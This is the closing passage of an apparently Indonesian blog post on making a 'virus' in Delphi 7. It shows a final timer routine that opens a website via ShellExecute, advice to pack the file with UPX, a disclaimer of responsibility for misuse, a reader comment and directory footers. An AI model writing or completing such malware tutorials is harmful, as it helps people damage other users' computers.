procedure TFreak.Timer11Timer(Sender: TObject);
begin
ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;

end.


download



nb:
untuk memaksimalkan/memperkecil ukuran file gunakan upx(search di google aja)
(kami tidak bertanggung jawab atas penyalah gunaan script diatas)


membuat virus dengan delphi 7.0SocialTwist Tell-a-Friend

1 komentar:

AnSetWare mengatakan...

lumayan jg nich bwm iseng-iseng

Computers Web Directory
Blog Directory Dr.5z5 Open Feed Directory Computers (Linux) - TOP.ORG blog search directory Blog Search: The Source for Blogs free web site traffic and promotion
MyFreeCopyright.com Registered & Protectedintellectual property